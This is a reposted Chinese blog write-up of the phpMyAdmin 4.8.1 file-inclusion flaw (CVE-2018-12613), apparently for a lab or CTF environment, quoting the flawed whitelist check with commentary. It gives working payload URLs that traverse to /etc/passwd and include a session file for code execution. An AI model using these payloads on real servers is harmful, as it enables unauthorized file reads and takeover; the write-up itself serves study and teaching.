首页 > Web开发 > 详细

phpmyadmin 4.8.1任意文件包含(CVE-2018-12613)

时间:2020-03-27 10:13:04      阅读:73      评论:0      收藏:0      [点我收藏+]

简介

环境复现:https://gitee.com/xiaohua1998/hctf_2018_warmup

考察知识点:文件包含漏洞(phpmyadmin 4.8.1任意文件包含)

线上平台:榆林学院内可使用协会内部的网络安全实验平台

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,

通过二次编码即可绕过检查,造成远程文件包含漏洞。

受影响版本

phpMyAdmin 4.8.0和4.8.1受到影响。

代码审计

通过审计index.php发现了文件包含 只要达到if里面的条件即可执行文件包含。

技术分享图片

! empty($_REQUEST[‘target‘])  //request接受的target不能为空
&& is_string($_REQUEST[‘target‘]) //target里面的值必须是字符串
&& ! preg_match(‘/^index/‘, $_REQUEST[‘target‘]) //target里面的值不能以index为头
&& ! in_array($_REQUEST[‘target‘], $target_blacklist)  //target传进来的值不能是$target_backlist里面的值 如"import.php" 和"export.php"
&& Core::checkPageValidity($_REQUEST[‘target‘])  //将值给checkPageValidity()函数 要返回true 才能全整体为真

接下来继续追溯checkPageValidity 函数 

public static function checkPageValidity(&$page, array $whitelist = []) {
    //首先判断$whitelist不为空 则将$goto_whitelist值赋值给$whitelist
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;  //这里得追溯下 看看$got_whitelist
        }
    //判断传进来的值 要存在而且
        if (! isset($page) || !is_string($page)) {
            return false;
        }
     //判断传进来的值是否在白名单内
        if (in_array($page, $whitelist)) {
            return true;
        }

    //截取传进来的?号
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . ‘?‘, ‘?‘)
        );
      //判断$_page是否输入$page
        if (in_array($_page, $whitelist)) {
            return true;
        }
      
      //给page解码
        $_page = urldecode($page);
    //截取?号部分
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . ‘?‘, ‘?‘)
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

技术分享图片

 得到上面的情况我们可以构造payload:

http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../etc/passwd

漏洞利用方法

技术分享图片

 

技术分享图片

包含session文件payload

http://192.168.52.129:8080/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_1d4171b498cba40de617fbea8902d5f0

技术分享图片

 

phpmyadmin 4.8.1任意文件包含(CVE-2018-12613)

原文:https://www.cnblogs.com/xhds/p/12579041.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!